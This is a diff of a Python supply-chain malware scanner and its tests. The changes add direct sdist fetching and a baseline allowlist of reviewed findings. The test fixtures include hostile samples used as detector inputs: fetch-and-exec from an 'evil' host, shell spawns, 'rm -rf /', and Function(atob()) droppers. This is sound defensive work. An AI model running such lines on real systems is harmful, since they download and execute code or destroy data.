f" [INFO] fetched sdist directly (no build) for {name}: {safe_fname}",
file = sys.stderr,
)
return out, None
except Exception as exc:
return None, f"sdist download failed for {name}: {type(exc).__name__}: {str(exc)[:120]}"
def _pip_download_with_deps(
specs: list[str],
dest: str,
env: dict,
*,
timeout: int = 600,
) -> tuple[int, str]:
"""One `pip download --with-deps --only-binary :all:` call. Returns (rc, stderr)."""
cmd = [
sys.executable,
"-m",
"pip",
"download",
*_PIP_DOWNLOAD_PIN_FLAGS,
"--dest",
dest,
] + list(specs)
try:
proc = subprocess.run(cmd, capture_output = True, text = True, timeout = timeout, env = env)
return proc.returncode, proc.stderr or ""
except subprocess.TimeoutExpired:
return 124, "pip download (with deps) timed out"
def _collect_flat_dir(dest: str, results: list[tuple[str, str]]) -> None:
"""Append every archive in a flat dest dir as (pkg_name, path)."""
for fname in sorted(os.listdir(dest)):
fpath = os.path.join(dest, fname)
if os.path.isfile(fpath):
pkg_name = fname.split("-")[0].replace("_", "-").lower()
results.append((pkg_name, fpath))
def _resolve_per_spec_with_deps(
specs: list[str], dest: str, env: dict, download_errors: list[str]
) -> None:
"""Fallback when the bulk --with-deps resolve fails: resolve each spec alone.
A still-failing spec is probed against PyPI: sdist-only -> direct fetch (deps
recovered one level); wheel-present but tree-unresolvable -> a --no-deps fetch
of just that package. Only a genuine fetch failure errors (caller exits 2);
unfetchable indirect deps are warned, since the named package is still scanned.
"""
sdist_dep_followups: list[str] = []
for spec in specs:
name = _extract_pkg_name(spec)
version = _spec_pin_version(spec)
cmd = [
sys.executable,
"-m",
"pip",
"download",
*_PIP_DOWNLOAD_PIN_FLAGS,
"--dest",
dest,
spec,
]
try:
proc = subprocess.run(cmd, capture_output = True, text = True, timeout = 300, env = env)
except subprocess.TimeoutExpired:
download_errors.append(f"per-spec --with-deps timed out for {spec}")
continue
if proc.returncode == 0:
continue # archives landed in dest; collected by the caller
meta = _pypi_json(name)
if meta is not None and not _release_has_wheel(meta, version):
fpath, serr = _download_sdist_direct(name, version, dest, meta = meta)
if fpath is None:
download_errors.append(serr or f"sdist fetch failed for {name}")
continue
sdist_dep_followups.extend(_requires_dist_names(meta, version))
continue
# Has a wheel but the full transitive tree won't co-resolve
# (ResolutionImpossible) -- typically a package the requirement file
# installs with --no-deps by design (e.g. descript-audio-codec, whose
# own pins conflict). Fetch just the package itself with --no-deps so it
# is still scanned; its conflicting deps are out of scope here (the file
# excludes them on purpose). Only a genuine fetch failure is an error.
nd_cmd = [
sys.executable,
"-m",
"pip",
"download",
"--no-deps",
*_PIP_DOWNLOAD_PIN_FLAGS,
"--dest",
dest,
spec,
]
try:
nd = subprocess.run(nd_cmd, capture_output = True, text = True, timeout = 180, env = env)
except subprocess.TimeoutExpired:
download_errors.append(f"per-spec --no-deps timed out for {spec}")
continue
if nd.returncode == 0:
print(
f" [INFO] {name}: full tree unresolvable; scanned the package "
f"alone (--no-deps), recovering deps individually.",
file = sys.stderr,
)
# The --with-deps failure may have been a sdist-only TRANSITIVE dep,
# which --no-deps skips. Recover the declared deps so that class is
# still scanned (each is fetched as a wheel or direct sdist below).
if meta is not None:
sdist_dep_followups.extend(_requires_dist_names(meta, version))
continue
# --no-deps also failed: last-ditch sdist fetch at the pinned version.
if meta is not None:
fpath, _serr = _download_sdist_direct(name, version, dest, meta = meta)
if fpath is not None:
continue
download_errors.append(
f"per-spec failed for {spec} (with-deps and --no-deps): " f"{nd.stderr.strip()[:240]}"
)
# Recover the transitive deps of sdist-only packages (deduped, one level).
# `dep` carries the declared version specifier so a pinned version is fetched.
seen: set[str] = set()
for dep in sdist_dep_followups:
dep_name = _extract_pkg_name(dep)
key = _norm_pkg(dep_name)
if key in seen:
continue
seen.add(key)
cmd = [
sys.executable,
"-m",
"pip",
"download",
*_PIP_DOWNLOAD_PIN_FLAGS,
"--dest",
dest,
dep,
]
try:
proc = subprocess.run(cmd, capture_output = True, text = True, timeout = 300, env = env)
except subprocess.TimeoutExpired:
print(f" [WARN] dep download timed out for {dep}", file = sys.stderr)
continue
if proc.returncode == 0:
continue
dep_ver = _spec_pin_version(dep)
meta = _pypi_json(dep_name)
if meta is not None and not _release_has_wheel(meta, dep_ver):
fpath, serr = _download_sdist_direct(dep_name, dep_ver, dest, meta = meta)
if fpath is None:
print(f" [WARN] could not fetch sdist dep {dep}: {serr}", file = sys.stderr)
else:
print(f" [WARN] could not resolve indirect dep {dep}; skipping", file = sys.stderr)
def download_packages(
specs: list[str],
dest: str,
@ -1403,49 +1845,36 @@ def download_packages(
summaries. A non-empty ``download_errors`` MUST make the caller exit
non-zero so a partial scan can't masquerade as "0 findings, all clean".
with_deps=True downloads the full transitive tree in one pip call (flat dir);
with_deps=False (default) downloads each spec individually with --no-deps.
with_deps=True downloads the full transitive tree (flat dir); a bulk resolve
failure (sdist-only package or version conflict) degrades to per-spec
resolution + direct sdist fetch rather than blanking the shard.
with_deps=False (default) downloads each spec individually with --no-deps,
also falling back to a direct sdist fetch when no wheel exists.
"""
results: list[tuple[str, str]] = []
download_errors: list[str] = []
env = _pip_download_env()
if with_deps:
# Single pip download for all specs + transitive deps. `--only-binary
# :all:` refuses sdists so we never execute setup.py for metadata.
os.makedirs(dest, exist_ok = True)
cmd = [
sys.executable,
"-m",
"pip",
"download",
*_PIP_DOWNLOAD_PIN_FLAGS,
"--dest",
dest,
] + specs
try:
proc = subprocess.run(
cmd,
capture_output = True,
text = True,
timeout = 600, # transitive resolution is slow
env = env,
# Fast path: resolve + download the whole transitive tree in one call.
# `--only-binary :all:` refuses sdists so we never build for metadata.
rc, stderr = _pip_download_with_deps(specs, dest, env)
if rc != 0:
# Atomic resolve failed -- a sdist-only package, or a cross-package
# version conflict (ResolutionImpossible). Degrade to per-spec
# resolution so one bad spec can't blank the shard, then direct-fetch
# any sdist-only holdouts (no build). Genuine failures still record an
# error so the caller exits 2.
print(
f" [INFO] bulk --with-deps resolve failed "
f"({stderr.strip()[:160]}); falling back to per-spec resolution "
f"for {len(specs)} spec(s).",
file = sys.stderr,
)
if proc.returncode != 0:
msg = f"pip download (with deps) failed: " f"{proc.stderr.strip()[:500]}"
print(f" [ERROR] {msg}", file = sys.stderr)
download_errors.append(msg)
except subprocess.TimeoutExpired:
msg = "pip download (with deps) timed out"
print(f" [ERROR] {msg}", file = sys.stderr)
download_errors.append(msg)
# Collect every archive that landed in dest
for fname in sorted(os.listdir(dest)):
fpath = os.path.join(dest, fname)
if os.path.isfile(fpath):
pkg_name = fname.split("-")[0].replace("_", "-").lower()
results.append((pkg_name, fpath))
_resolve_per_spec_with_deps(specs, dest, env, download_errors)
# Collect everything that landed (bulk OR per-spec OR direct sdist).
_collect_flat_dir(dest, results)
else:
for spec in specs:
raw_name = _extract_pkg_name(spec)
@ -1465,22 +1894,25 @@ def download_packages(
spec,
]
try:
proc = subprocess.run(
cmd,
capture_output = True,
text = True,
timeout = 120,
env = env,
)
if proc.returncode != 0:
msg = f"pip download failed for {spec}: " f"{proc.stderr.strip()[:500]}"
print(f" [ERROR] {msg}", file = sys.stderr)
download_errors.append(msg)
continue
proc = subprocess.run(cmd, capture_output = True, text = True, timeout = 120, env = env)
except subprocess.TimeoutExpired:
msg = f"pip download timed out for {spec}"
print(f" [ERROR] {msg}", file = sys.stderr)
download_errors.append(msg)
download_errors.append(f"pip download timed out for {spec}")
continue
if proc.returncode != 0:
# No wheel? Direct-fetch the sdist (no build) before erroring.
name = _extract_pkg_name(spec)
version = _spec_pin_version(spec)
meta = _pypi_json(name)
if meta is not None and not _release_has_wheel(meta, version):
fpath, serr = _download_sdist_direct(name, version, pkg_dir, meta = meta)
if fpath is not None:
results.append((spec, fpath))
continue
download_errors.append(serr or f"sdist fetch failed for {name}")
continue
download_errors.append(
f"pip download failed for {spec}: {proc.stderr.strip()[:300]}"
)
continue
for fname in os.listdir(pkg_dir):
@ -1940,6 +2372,113 @@ def _find_requirements_files(root: str) -> list[str]:
return sorted(results)
# Baseline allowlist: triaged known-good CRITICAL/HIGH findings so the gate can
# enforce without drowning in legitimate-library noise. Matched on
# ``(package, basename(filename), check)`` -- not evidence text -- so a version
# bump does not reopen a finding, but a *new* kind of finding in a listed file
# is a different check and still fails. Regenerate with ``--write-baseline``.
_DEFAULT_BASELINE_PATH = os.path.join(
os.path.dirname(os.path.abspath(__file__)), "scan_packages_baseline.json"
)
def _norm_pkg(name: str) -> str:
"""PEP 503-style normalization so requests/Requests/req_uests collapse."""
return re.sub(r"[-_.]+", "-", (name or "").strip().lower())
# Leading "<name>-<version>/" archive root of an sdist member, which carries the
# version. Stripping it (but keeping the rest of the path) gives a key that is
# stable across version bumps yet still distinguishes same-named files.
_RE_SDIST_ROOT = re.compile(r"^[^/]+-\d[^/]*/")
def _relpath_in_package(filename: str) -> str:
"""Package-relative path: drop an sdist's version-carrying archive root.
Wheel members are already package-relative (``numba/cuda/utils.py``); sdist
members sit under ``numba-0.60.0/...``, so strip that one leading segment.
"""
return _RE_SDIST_ROOT.sub("", filename, count = 1)
def _finding_key(f: Finding) -> tuple[str, str, str]:
"""Stable allowlist key: normalized package, package-relative path, check.
The package-relative path (not just basename) keeps the key stable across
version bumps while still distinguishing same-named files like ``utils.py``.
"""
return (_norm_pkg(f.package), _relpath_in_package(f.filename), f.check)
def _load_baseline(path: str) -> set[tuple[str, str, str]]:
"""Load an allowlist JSON into a set of match keys. Missing file -> empty."""
try:
with open(path, "r", encoding = "utf-8") as fh:
data = json.load(fh)
except FileNotFoundError:
return set()
except (OSError, json.JSONDecodeError) as exc:
print(f" [WARN] could not read baseline {path}: {exc}", file = sys.stderr)
return set()
keys: set[tuple[str, str, str]] = set()
for e in data.get("entries", []):
try:
keys.add((_norm_pkg(e["package"]), _relpath_in_package(e["file"]), e["check"]))
except (KeyError, TypeError):
continue
return keys
def _write_baseline(path: str, findings: list[Finding]) -> None:
"""Persist CRITICAL/HIGH findings as an allowlist for human triage."""
entries = []
seen: set[tuple[str, str, str]] = set()
for f in sorted(findings, key = lambda f: SEVERITY_ORDER.get(f.severity, 99)):
if f.severity not in (CRITICAL, HIGH):
continue
key = _finding_key(f)
if key in seen:
continue
seen.add(key)
entries.append(
{
"package": f.package,
"file": _relpath_in_package(f.filename),
"check": f.check,
"severity": f.severity,
"evidence": f.evidence[:240],
}
)
doc = {
"_comment": (
"scan_packages.py allowlist. Each entry is a CRITICAL/HIGH finding "
"manually judged benign. Matched on (package, package-relative file, "
"check); evidence/severity are for review only. Regenerate with "
"--write-baseline AFTER reviewing every line."
),
"version": 1,
"entries": entries,
}
with open(path, "w", encoding = "utf-8") as fh:
json.dump(doc, fh, indent = 2, sort_keys = False)
fh.write("\n")
print(f" Wrote {len(entries)} baseline entr(y/ies) to {path}")
def _partition_baseline(
findings: list[Finding], baseline: set[tuple[str, str, str]]
) -> tuple[list[Finding], list[Finding]]:
"""Split findings into (active, suppressed) by allowlist membership."""
if not baseline:
return list(findings), []
active, suppressed = [], []
for f in findings:
(suppressed if _finding_key(f) in baseline else active).append(f)
return active, suppressed
# Main
@ -1986,6 +2525,30 @@ def main() -> int:
metavar = "N",
help = "Max older versions to scan when searching for safe version (default: 10)",
)
parser.add_argument(
"--baseline",
metavar = "FILE",
default = None,
help = (
"Allowlist JSON of triaged known-good findings to suppress. "
f"Defaults to {os.path.basename(_DEFAULT_BASELINE_PATH)} next to this "
"script if present."
),
)
parser.add_argument(
"--no-baseline",
action = "store_true",
help = "Ignore the auto-discovered baseline allowlist.",
)
parser.add_argument(
"--write-baseline",
metavar = "FILE",
default = None,
help = (
"Write the current CRITICAL/HIGH findings to FILE as an allowlist, "
"then exit 0. Review every entry before committing it."
),
)
args = parser.parse_args()
# --scan-dir: auto-discover requirements files
@ -2066,11 +2629,34 @@ def main() -> int:
finally:
shutil.rmtree(tmpdir, ignore_errors = True)
print_findings(all_findings)
# Baseline allowlist: suppress triaged, known-good findings so the CI gate
# can be enforcing without red-failing on legitimate-library noise.
if args.no_baseline:
baseline_path = None
elif args.baseline:
baseline_path = args.baseline
elif os.path.isfile(_DEFAULT_BASELINE_PATH):
baseline_path = _DEFAULT_BASELINE_PATH
else:
baseline_path = None
baseline = _load_baseline(baseline_path) if baseline_path else set()
# --fix mode: auto-search for safe versions
if args.fix and all_findings:
critical_pkgs = {f.package for f in all_findings if f.severity == CRITICAL}
active, suppressed = _partition_baseline(all_findings, baseline)
print_findings(active)
if suppressed:
crit_s = sum(1 for f in suppressed if f.severity == CRITICAL)
high_s = sum(1 for f in suppressed if f.severity == HIGH)
med_s = sum(1 for f in suppressed if f.severity == MEDIUM)
print(
f"\n {len(suppressed)} finding(s) suppressed by baseline "
f"{baseline_path} "
f"({crit_s} CRITICAL, {high_s} HIGH, {med_s} MEDIUM)."
)
# --fix mode: auto-search for safe versions (only real, non-baselined ones)
if args.fix and active:
critical_pkgs = {f.package for f in active if f.severity == CRITICAL}
if critical_pkgs:
print(
f"\n --fix: Searching for safe versions of {len(critical_pkgs)} CRITICAL package(s)..."
@ -2079,6 +2665,7 @@ def main() -> int:
# Surface pip-download failures BEFORE the exit code so a partial download
# can't masquerade as "0 findings, all clean" (silent-failure hardening 4).
# Also keeps us from writing a baseline from an incomplete scan.
if download_errors:
print(
f"\n {'=' * 72}\n"
@ -2095,8 +2682,16 @@ def main() -> int:
)
return 2
# Exit code: 1 if any CRITICAL or HIGH
if any(f.severity in (CRITICAL, HIGH) for f in all_findings):
# --write-baseline: persist the full current CRITICAL/HIGH set as the new
# allowlist (ignoring any loaded baseline), then exit 0. Only reached once
# the scan is known complete.
if args.write_baseline:
_write_baseline(args.write_baseline, all_findings)
return 0
# Exit code: 1 only if a NON-baselined CRITICAL or HIGH remains. This is the
# signal CI gates on once the baseline reaches a clean run.
if any(f.severity in (CRITICAL, HIGH) for f in active):
return 1
return 0

1329
scripts/scan_packages_baseline.json Normal file
View file

File diff suppressed because it is too large Load diff

189
tests/security/test_scan_npm_packages.py
View file

@ -230,3 +230,192 @@ def test_parse_lockfile_structural_findings():
patterns = {f.pattern for f in struct}
assert "non-registry-resolved-url" in patterns
assert "missing-integrity-hash" in patterns
# ---------------------------------------------------------------------------
# Code-only scanning (_strip_js_noncode) -- comment FP reduction. The stripper
# must blank comments WITHOUT touching strings/regex/code, preserve geometry,
# and fail open on lexer confusion.
# ---------------------------------------------------------------------------
def _strip(src):
out = snp._strip_js_noncode(src)
assert len(out) == len(src), "geometry (length) must be preserved"
assert out.count("\n") == src.count("\n"), "newline count must be preserved"
return out
def test_strip_blanks_line_and_block_comments():
out = _strip("var x = 1; // eval(atob('p'))\n/* subprocess */ run();")
assert "var x = 1;" in out and "run();" in out
assert "eval(atob" not in out
assert "subprocess" not in out
def test_strip_keeps_url_in_string_and_template():
src = 'const a = "http://example.com/x";\nconst b = `http://${h}//y`; go();'
out = _strip(src)
assert out == src # nothing is a comment; must be byte-identical
assert "http://example.com/x" in out and "//y" in out
def test_strip_regex_with_escaped_slashes_keeps_trailing_code():
# A naive "// = comment" stripper would eat `evil()`; the lexer must not.
src = r"const re = /https?:\/\//g; evil();"
out = _strip(src)
assert out == src
assert "evil();" in out
def test_strip_preserves_assigned_base64_payload():
# npm droppers hide payloads in assigned string literals -- never blank them.
src = 'var B = "QWxhZGRpbjpvcGVuc2VzYW1l"; new Function(atob(B))();'
out = _strip(src)
assert out == src
assert "QWxhZGRpbjpvcGVuc2VzYW1l" in out
def test_strip_fails_open_on_unterminated_block_comment():
src = "code(); /* never closed"
assert snp._strip_js_noncode(src) == src # unchanged -> still fully scanned
def test_strip_only_applies_to_js_family():
# A `//`-containing JSON/YAML string must be left intact (wrong lexer).
PKG = snp.PackageEntry(
name = "x",
version = "1.0.0",
resolved = "https://registry.npmjs.org/x/-/x-1.0.0.tgz",
integrity = "sha512-z",
lockfile_key = "node_modules/x",
)
# scan_text_blob strips for .js but not for .json.
yaml_like = 'url: "http://h" # a yaml comment, not JS\n'
# No assertion on findings here -- just that the JS lexer is not applied to
# non-JS suffixes (covered indirectly: stripper is gated on suffix).
assert "".endswith(snp._JS_FAMILY_SUFFIXES) is False
assert ".js" in snp._JS_FAMILY_SUFFIXES and ".json" not in snp._JS_FAMILY_SUFFIXES
# ---------------------------------------------------------------------------
# Detection survives stripping; comment-only IOC is suppressed.
# ---------------------------------------------------------------------------
_PKG = snp.PackageEntry(
name = "x",
version = "1.0.0",
resolved = "https://registry.npmjs.org/x/-/x-1.0.0.tgz",
integrity = "sha512-z",
lockfile_key = "node_modules/x",
)
_BLOB = "QWxhZGRpbg" * 240 # ~2.4 KiB base64-ish
def test_real_payload_still_flags_after_stripping():
# Obfuscated blob behind Function(), wrapped in comments that get blanked.
src = f'/* header */ var f = new Function("{_BLOB}"); f(); // tail\n'
pats = {f.pattern for f in snp.scan_text_blob(_PKG, "m.js", src)}
assert "obfuscated-blob" in pats
# eval-with-string + atob shape, comment between the two halves.
src2 = "(0,eval)(/* x */ atob('ZG8='));"
pats2 = {f.pattern for f in snp.scan_text_blob(_PKG, "m.js", src2)}
assert "js-fetch-eval" in pats2
def test_payload_entirely_in_comment_is_suppressed():
src = f'/* var f = new Function("{_BLOB}"); */ var ok = 1;'
js = snp.scan_text_blob(_PKG, "m.js", src)
assert js == [] # blanked -> clean
# Control: same bytes scanned as non-JS (unstripped) WOULD flag.
txt = snp.scan_text_blob(_PKG, "m.txt", src)
assert any(f.pattern == "obfuscated-blob" for f in txt)
def test_ioc_in_assigned_string_survives_stripping():
# A real C2 host lives in a string literal, not a comment -> still caught.
src = 'var c = "filev2.getsession.org"; // doc note\n'
pats = {f.pattern for f in snp.scan_text_blob(_PKG, "m.js", src)}
assert "known-ioc-string" in pats
# ---------------------------------------------------------------------------
# Baseline allowlist -- suppress reviewed findings, fail on new kinds.
# ---------------------------------------------------------------------------
def _finding(
pkg,
fn,
pattern,
sev = snp.HIGH,
):
return snp.Finding(severity = sev, package = pkg, filename = fn, pattern = pattern)
def test_norm_pkg_name_strips_version_keeps_scope():
assert snp._norm_pkg_name("@scope/pkg@1.2.3") == "@scope/pkg"
assert snp._norm_pkg_name("pkg@1.2.3") == "pkg"
assert snp._norm_pkg_name("@scope/pkg") == "@scope/pkg"
assert snp._norm_pkg_name("<root>") == "<root>"
def test_baseline_key_is_version_stable():
# Same package/file/pattern across a version bump -> identical key.
a = _finding("left-pad@1.0.0", "node_modules/left-pad/index.js", "obfuscated-blob")
b = _finding("left-pad@9.9.9", "left-pad/index.js", "obfuscated-blob")
assert snp._finding_key(a) == snp._finding_key(b)
def test_baseline_suppresses_listed_but_not_new_pattern(tmp_path):
bl = tmp_path / "bl.json"
bl.write_text(
json.dumps(
{
"version": 1,
"entries": [
{
"package": "aws-sdk",
"file": "metadata.js",
"pattern": "cred-surface-host (outbound)",
"severity": "HIGH",
}
],
}
),
encoding = "utf-8",
)
baseline = snp._load_baseline(str(bl))
listed = _finding("aws-sdk@2.0.0", "aws-sdk/metadata.js", "cred-surface-host (outbound)")
# A NEW kind of finding in the SAME file is a different pattern -> not suppressed.
new_kind = _finding("aws-sdk@2.0.0", "aws-sdk/metadata.js", "obfuscated-blob")
active, suppressed = snp._partition_baseline([listed, new_kind], baseline)
assert listed in suppressed
assert new_kind in active
def test_write_then_load_baseline_roundtrip(tmp_path):
bl = tmp_path / "out.json"
findings = [
_finding("evil@1.0.0", "evil/a.js", "obfuscated-blob", snp.CRITICAL),
_finding("evil@1.0.0", "evil/a.js", "obfuscated-blob", snp.CRITICAL), # dup
_finding("noise@1.0.0", "noise/b.js", "js-env-token", snp.MEDIUM), # below thresh
]
n = snp._write_baseline(str(bl), findings, snp._SEVERITY_RANK[snp.HIGH])
assert n == 1 # dedup + MEDIUM excluded
keys = snp._load_baseline(str(bl))
assert (snp._norm_pkg_name("evil@1.0.0"), "a.js", "obfuscated-blob") in keys
# MEDIUM was below the HIGH threshold -> not written.
assert all(k[2] != "js-env-token" for k in keys)
def test_committed_baseline_is_empty_and_valid():
# The shipped baseline must parse and (by design) suppress nothing: the
# live corpus is clean, so the gate can run enforcing with an empty list.
path = REPO_ROOT / "scripts" / "scan_npm_packages_baseline.json"
assert path.is_file()
doc = json.loads(path.read_text(encoding = "utf-8"))
assert doc.get("entries") == []
assert snp._load_baseline(str(path)) == set()

352
tests/security/test_scan_packages.py
View file

@ -244,3 +244,355 @@ def test_archive_corruption_produces_critical_finding(tmp_path):
"no archive_corrupted finding on corrupt tarball; got "
f"{[(f.severity, f.check) for f in findings_tar]}"
)
# ---------------------------------------------------------------------------
# False-positive hardening: code-only scanning via _strip_noncode.
# ---------------------------------------------------------------------------
def test_strip_noncode_blanks_docstrings_and_comments_keeps_geometry():
src = (
'"""Module doc mentions subprocess.Popen and reverse shell."""\n'
"x = 1 # os.system('rm -rf /') in a comment\n"
"def f():\n"
" '''calls eval() and exec() in prose'''\n"
" return x\n"
)
out = sp._strip_noncode(src)
# Line geometry is byte-stable so evidence L<n> stays correct.
assert len(out.splitlines()) == len(src.splitlines())
# The dangerous-looking tokens lived only in docstrings/comments -> gone.
for needle in ("subprocess", "os.system", "eval(", "exec(", "reverse shell"):
assert needle not in out, needle
# Real code survives.
assert "x = 1" in out
assert "return x" in out
def test_strip_noncode_preserves_real_code_and_assigned_strings():
src = (
"import subprocess\n"
"subprocess.Popen(['/bin/sh', '-c', 'id'])\n"
"exec(open('x').read())\n"
"BLOB = '" + ("A" * 64) + "'\n" # assigned string is code, not a docstring
)
out = sp._strip_noncode(src)
assert out == src, "real code (incl. RHS string literals) must be untouched"
def test_strip_noncode_falls_back_on_syntax_error():
broken = "def f(:\n pass # not valid python\n"
# Must not raise; returns the original so the content is still scanned.
assert sp._strip_noncode(broken) == broken
def test_check_py_file_ignores_docstring_only_iocs():
# A file whose ONLY dangerous patterns live in a docstring must be clean.
benign = (
'"""Usage:\n'
">>> import subprocess, urllib.request\n"
">>> subprocess.Popen(['sh','-c','id'])\n"
">>> exec(urllib.request.urlopen('http://evil/x').read())\n"
'"""\n'
"VERSION = '1.0'\n"
)
findings = sp.check_py_file(benign, "pkg/_doc.py", "pkg")
assert findings == [], f"docstring IOCs should not flag: {[str(f) for f in findings]}"
# But the same payload as real code still flags.
real = (
"import subprocess, urllib.request\n"
"subprocess.Popen(['sh','-c','id'])\n"
"exec(urllib.request.urlopen('http://evil/x').read())\n"
)
flagged = sp.check_py_file(real, "pkg/evil.py", "pkg")
assert any(f.severity in (sp.CRITICAL, sp.HIGH) for f in flagged)
def test_extract_evidence_multiline_reports_line():
# A DOTALL pattern that only matches across lines must still yield evidence
# (not an empty string) so a baseline entry is reviewable.
content = "a = 1\ntime.sleep(\n 600\n)\n"
ev = sp._extract_evidence(content, sp.RE_ANTI_ANALYSIS)
assert ev and ev.startswith("L"), ev
def test_anti_analysis_no_longer_flags_cross_platform_code():
# Pure cross-platform code (the old platform.system FP) must be clean.
crossplat = (
"import platform, subprocess\n"
"if platform.system() == 'Windows':\n"
" subprocess.run(['where', 'git'])\n"
"else:\n"
" subprocess.run(['which', 'git'])\n"
)
findings = sp.check_py_file(crossplat, "pkg/_compat.py", "pkg")
anti = [f for f in findings if "Anti-analysis" in f.check]
assert anti == [], f"cross-platform code should not be anti-analysis: {anti}"
def test_proc_self_status_read_flags_anti_analysis():
# Reading /proc/self/status (to scrape TracerPid) alongside a subprocess
# call is the classic anti-debug combination. The old `\b/proc/self/status\b`
# was a dead pattern (\b adjacent to "/" is unsatisfiable); the lookbehind
# fix makes it fire. No TracerPid/ptrace token here so only the /proc path
# can supply the anti-analysis signal.
payload = (
"import subprocess\n"
"with open('/proc/self/status') as fh:\n"
" data = fh.read()\n"
"subprocess.run(['echo', 'go'])\n"
)
findings = sp.check_py_file(payload, "pkg/_probe.py", "pkg")
anti = [f for f in findings if "Anti-analysis" in f.check]
assert anti, "reading /proc/self/status + subprocess must flag anti-analysis"
assert anti[0].severity == sp.HIGH
def test_proc_self_status_pattern_is_live():
# Direct regex check across the common call forms; the leading \b made all
# of these unsatisfiable before the fix.
for s in (
'open("/proc/self/status")',
"cat /proc/self/status",
"path = '/proc/self/status'",
):
assert sp.RE_ANTI_ANALYSIS.search(s), s
# A bare cross-platform OS check must still NOT match anti-analysis.
assert not sp.RE_ANTI_ANALYSIS.search("if platform.system() == 'Linux': pass")
# ---------------------------------------------------------------------------
# Baseline allowlist.
# ---------------------------------------------------------------------------
def _mk(sev, pkg, fname, check):
return sp.Finding(sev, pkg, fname, check, "evidence")
def test_baseline_key_version_stable_but_path_specific():
a = _mk(sp.CRITICAL, "requests", "requests-2.32.5/requests/sessions.py", "X")
b = _mk(sp.CRITICAL, "Requests", "requests-3.0.0/requests/sessions.py", "X")
# Same package-relative path across versions -> same key (stable).
assert sp._finding_key(a) == sp._finding_key(b)
# Same basename in a DIFFERENT path -> different key (no over-suppression).
c = _mk(sp.CRITICAL, "requests", "requests-2.32.5/requests/vendor/sessions.py", "X")
assert sp._finding_key(a) != sp._finding_key(c)
def test_fstring_statement_is_not_blanked():
# A bare f-string evaluates at import, so it must stay scannable.
src = "f\"{__import__('os').system('id')}\"\n"
assert "__import__" in sp._strip_noncode(src)
# A plain bare docstring IS blanked.
plain = "'a docstring mentioning subprocess.Popen'\n"
assert "subprocess" not in sp._strip_noncode(plain)
def test_exec_with_payload_hidden_in_docstring_flagged():
blob = "A" * 400
src = '"""' + blob + '"""\nimport os\nexec(__doc__)\n'
findings = sp.check_py_file(src, "pkg/mod.py", "pkg")
assert any("hidden in a docstring" in f.check for f in findings)
# No exec/eval -> the blanked blob does not produce that finding.
src2 = '"""' + blob + '"""\nimport os\n'
findings2 = sp.check_py_file(src2, "pkg/mod.py", "pkg")
assert not any("hidden in a docstring" in f.check for f in findings2)
def test_baseline_suppresses_listed_but_not_new_check(tmp_path):
bl = tmp_path / "bl.json"
listed = _mk(sp.CRITICAL, "fastapi", "fastapi/routing.py", "C2 polling/beaconing loop detected")
sp._write_baseline(str(bl), [listed])
baseline = sp._load_baseline(str(bl))
# Same (package, basename, check) -> suppressed.
active, suppressed = sp._partition_baseline([listed], baseline)
assert suppressed == [listed] and active == []
# A NEW kind of finding in the SAME file is a different check -> still active.
new_kind = _mk(
sp.CRITICAL, "fastapi", "fastapi/routing.py", "Reverse shell / bind shell pattern"
)
active2, suppressed2 = sp._partition_baseline([new_kind], baseline)
assert active2 == [new_kind] and suppressed2 == []
def test_write_baseline_roundtrip_only_crit_high(tmp_path):
bl = tmp_path / "bl.json"
findings = [
_mk(sp.CRITICAL, "p", "a.py", "c1"),
_mk(sp.HIGH, "p", "b.py", "c2"),
_mk(sp.MEDIUM, "p", "c.py", "c3"), # MEDIUM excluded from baseline
]
sp._write_baseline(str(bl), findings)
keys = sp._load_baseline(str(bl))
assert sp._finding_key(findings[0]) in keys
assert sp._finding_key(findings[1]) in keys
assert sp._finding_key(findings[2]) not in keys
def test_load_baseline_missing_file_is_empty():
assert sp._load_baseline("/nonexistent/path/bl.json") == set()
# ---------------------------------------------------------------------------
# sdist fallback: preserve coverage of sdist-only packages without building.
# All offline -- PyPI JSON / download are mocked.
# ---------------------------------------------------------------------------
class _FakeResp:
"""Minimal urlopen() context-manager stand-in."""
def __init__(
self,
data: bytes = b"",
status: int = 200,
):
self._data = data
self.status = status
def read(self, n: int = -1) -> bytes:
return self._data
def __enter__(self):
return self
def __exit__(self, *a):
return False
def _f(packagetype: str, filename: str, url: str) -> dict:
return {"packagetype": packagetype, "filename": filename, "url": url}
def _meta(
files: list[dict],
requires = None,
version: str = "1.0.0",
) -> dict:
return {
"info": {"version": version, "requires_dist": requires or []},
"urls": files,
"releases": {version: files},
}
def test_spec_pin_version():
assert sp._spec_pin_version("torch==2.3.1") == "2.3.1"
assert sp._spec_pin_version("torch>=2.0") is None
assert sp._spec_pin_version("numpy") is None
def test_release_has_wheel_detects_sdist_only():
sdist_only = _meta([_f("sdist", "x-1.0.0.tar.gz", "https://files.pythonhosted.org/x.tar.gz")])
assert sp._release_has_wheel(sdist_only, None) is False
assert sp._release_has_wheel(sdist_only, "1.0.0") is False
has_wheel = _meta(
[
_f("sdist", "x.tar.gz", "https://files.pythonhosted.org/x.tar.gz"),
_f("bdist_wheel", "x.whl", "https://files.pythonhosted.org/x.whl"),
]
)
assert sp._release_has_wheel(has_wheel, None) is True
def test_is_trusted_pypi_url_only_https_pypi():
assert sp._is_trusted_pypi_url("https://files.pythonhosted.org/p/x.tar.gz") is True
assert sp._is_trusted_pypi_url("https://pypi.org/x.tar.gz") is True
assert sp._is_trusted_pypi_url("http://files.pythonhosted.org/x.tar.gz") is False # not https
assert sp._is_trusted_pypi_url("https://evil.example/x.tar.gz") is False
assert sp._is_trusted_pypi_url("https://files.pythonhosted.org.evil.com/x") is False
def test_requires_dist_skips_extras():
meta = _meta(
[],
requires = [
"numpy (>=1.20)",
"torch ; extra == 'dev'", # optional extra -> skipped
"pyyaml>=5 ; python_version >= '3.8'", # non-extra marker -> kept
],
)
specs = sp._requires_dist_names(meta, None)
# Version constraints are preserved so a pinned dep is fetched, not latest.
assert "numpy>=1.20" in specs
assert "pyyaml>=5" in specs
# The extra-gated dep is skipped entirely (no torch under any form).
assert not any(sp._extract_pkg_name(s) == "torch" for s in specs)
def test_download_sdist_direct_refuses_non_pypi_url(tmp_path):
meta = _meta([_f("sdist", "x-1.0.0.tar.gz", "https://evil.example/x.tar.gz")])
fpath, err = sp._download_sdist_direct("x", "1.0.0", str(tmp_path), meta = meta)
assert fpath is None and "non-PyPI" in err
assert list(tmp_path.iterdir()) == [] # nothing was written
def test_download_sdist_direct_no_sdist_published(tmp_path):
meta = _meta([_f("bdist_wheel", "x.whl", "https://files.pythonhosted.org/x.whl")])
fpath, err = sp._download_sdist_direct("x", None, str(tmp_path), meta = meta)
